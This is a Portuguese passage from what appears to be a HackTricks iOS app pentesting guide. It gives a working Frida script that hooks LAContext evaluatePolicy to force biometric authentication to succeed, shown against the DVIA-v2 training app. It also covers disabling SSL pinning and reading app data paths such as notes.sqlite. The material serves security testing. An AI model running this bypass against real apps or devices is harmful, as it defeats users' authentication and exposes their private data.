Para burlar a Autenticação Local, temos que escrever um script Frida que **bypasses** a verificação _**evaluatePolicy**_ mencionada anteriormente. Como você pode ver no trecho de código acima colado, o **evaluatePolicy** usa um **callback** que determina o **result**. Portanto, a maneira mais fácil de realizar o hack é interceptar esse callback e garantir que ele sempre retorne o_ **success=1**.
|
||
```swift
|
||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||
if(ObjC.available) {
|
||
console.log("Injecting...");
|
||
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
|
||
Interceptor.attach(hook.implementation, {
|
||
onEnter: function(args) {
|
||
var block = new ObjC.Block(args[4]);
|
||
const callback = block.implementation;
|
||
block.implementation = function (error, value) {
|
||
|
||
console.log("Changing the result value to true")
|
||
const result = callback(1, null);
|
||
return result;
|
||
};
|
||
},
|
||
});
|
||
} else {
|
||
console.log("Objective-C Runtime is not available!");
|
||
}
|
||
```
|
||
|
||
```
|
||
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
||
```
|
||
## Exposição de Funcionalidades Sensíveis Através de IPC
|
||
|
||
### Manipuladores de URI Personalizados / Deeplinks / Esquemas Personalizados
|
||
|
||
{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %}
|
||
[ios-custom-uri-handlers-deeplinks-custom-schemes.md](ios-custom-uri-handlers-deeplinks-custom-schemes.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Links Universais
|
||
|
||
{% content-ref url="ios-universal-links.md" %}
|
||
[ios-universal-links.md](ios-universal-links.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Compartilhamento UIActivity
|
||
|
||
{% content-ref url="ios-uiactivity-sharing.md" %}
|
||
[ios-uiactivity-sharing.md](ios-uiactivity-sharing.md)
|
||
{% endcontent-ref %}
|
||
|
||
### UIPasteboard
|
||
|
||
{% content-ref url="ios-uipasteboard.md" %}
|
||
[ios-uipasteboard.md](ios-uipasteboard.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Extensões de Aplicativos
|
||
|
||
{% content-ref url="ios-app-extensions.md" %}
|
||
[ios-app-extensions.md](ios-app-extensions.md)
|
||
{% endcontent-ref %}
|
||
|
||
### WebViews
|
||
|
||
{% content-ref url="ios-webviews.md" %}
|
||
[ios-webviews.md](ios-webviews.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Serialização e Codificação
|
||
|
||
{% content-ref url="ios-serialisation-and-encoding.md" %}
|
||
[ios-serialisation-and-encoding.md](ios-serialisation-and-encoding.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Comunicação de Rede
|
||
|
||
É importante verificar que nenhuma comunicação ocorre **sem criptografia** e também que o aplicativo está corretamente **validando o certificado TLS** do servidor.\
|
||
Para verificar esses tipos de problemas, você pode usar um proxy como o **Burp**:
|
||
|
||
{% content-ref url="burp-configuration-for-ios.md" %}
|
||
[burp-configuration-for-ios.md](burp-configuration-for-ios.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Verificação de Nome de Host
|
||
|
||
Um problema comum ao validar o certificado TLS é verificar se o certificado foi assinado por uma **CA confiável**, mas **não verificar** se **o nome do host** do certificado é o nome do host sendo acessado.\
|
||
Para verificar esse problema usando o Burp, após confiar na CA do Burp no iPhone, você pode **criar um novo certificado com o Burp para um nome de host diferente** e usá-lo. Se o aplicativo ainda funcionar, então, algo está vulnerável.
|
||
|
||
### Pinning de Certificado
|
||
|
||
Se um aplicativo estiver usando o Pinning de SSL corretamente, então o aplicativo só funcionará se o certificado for o esperado. Ao testar um aplicativo **isso pode ser um problema, pois o Burp servirá seu próprio certificado.**\
|
||
Para contornar essa proteção em um dispositivo com jailbreak, você pode instalar o aplicativo [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ou instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||
|
||
Você também pode usar o comando `ios sslpinning disable` do **objection**.
|
||
|
||
## Diversos
|
||
|
||
* Em **`/System/Library`** você pode encontrar os frameworks instalados no telefone usados por aplicativos do sistema.
|
||
* Os aplicativos instalados pelo usuário da App Store estão localizados em **`/User/Applications`**.
|
||
* E **`/User/Library`** contém dados salvos pelos aplicativos de nível de usuário.
|
||
* Você pode acessar **`/User/Library/Notes/notes.sqlite`** para ler as notas salvas dentro do aplicativo.
|
||
* Dentro da pasta de um aplicativo instalado (**`/User/Applications/<APP ID>/`**) você pode encontrar alguns arquivos interessantes:
|
||
* **`iTunesArtwork`**: O ícone usado pelo aplicativo.
|
||
* **`iTunesMetadata.plist`**: Informações do aplicativo usadas na App Store.
|
||
* **`/Library/*`**: Contém as preferências e cache. Em **`/Library/Cache/Snapshots/*`** você pode encontrar o snapshot realizado no aplicativo antes de enviá-lo para o fundo.
|
||
|
||
### Atualização/Correção Remota
|
||
|
||
Os desenvolvedores podem remotamente **corrigir todas as instalações de seu aplicativo instantaneamente** sem ter que ressubmeter o aplicativo para a App Store e esperar até que seja aprovado.\
|
||
Para esse propósito, geralmente se usa [**JSPatch**](https://github.com/bang590/JSPatch). Mas há outras opções também, como [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||
**Este é um mecanismo perigoso que pode ser abusado por SDKs de terceiros maliciosos, portanto, é recomendado verificar qual método é usado para atualização automática (se houver) e testá-lo.** Você pode tentar baixar uma versão anterior do aplicativo para esse propósito.
|
||
|
||
### Terceiros
|
||
|
||
Um problema dos SDKs de terceiros é que não há **controle granular sobre os recursos oferecidos pelo SDK**. Você poderia processar o SDK e ter todos os recursos (incluindo vazamentos de diagnóstico e conexões HTTP inseguras), ou não usá-lo. Além disso, geralmente não é possível para os desenvolvedores de aplicativos **corrigir uma vulnerabilidade** no SDK.\
|
||
Além disso, alguns SDKs começam a **conter malware uma vez que são muito confiáveis** pela comunidade.
|
||
|
||
Além disso, os recursos que esses serviços oferecem podem envolver **serviços de rastreamento para monitorar o comportamento do usuário** enquanto usa o aplicativo, vendendo anúncios em banner ou melhorando a experiência do usuário. A desvantagem dos serviços de terceiros é que os desenvolvedores não conhecem os detalhes do código executado por meio de bibliotecas de terceiros. Consequentemente, não mais informações do que o necessário devem ser enviadas a um serviço, e nenhuma informação sensível deve ser divulgada.
|
||
|
||
A desvantagem é que um **desenvolvedor não sabe em detalhes que código é executado por meio de bibliotecas de terceiros** e, portanto, perde visibilidade. Consequentemente, deve-se garantir que não mais do que as informações necessárias sejam enviadas ao serviço e que nenhuma informação sensível seja divulgada.
|
||
|
||
A maioria dos serviços de terceiros é implementada de duas maneiras:
|
||
|
||
* com uma biblioteca independente
|
||
* com um SDK completo
|
||
|
||
Todos os dados enviados a serviços de terceiros devem ser anonimizados para evitar a exposição de PII (Informações Pessoais Identificáveis) que permitiriam que o terceiro identificasse a conta do usuário.
|
||
|
||
Você pode encontrar as **bibliotecas usadas por um aplicativo** executando **`otool`** contra o aplicativo (e **executando** **contra** **cada** biblioteca **compartilhada** para encontrar mais bibliotecas compartilhadas usadas).
|
||
|
||
## **Referências**
|
||
|
||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||
* [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
|
||
|
||
## Mais Informações
|
||
|
||
* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) Curso gratuito de IOS ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||
* [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
|
||
* [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
|
||
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
||
* [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
|
||
* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
|
||
* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Versão Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Versão Swift
|
||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||
Obtenha Acesso Hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|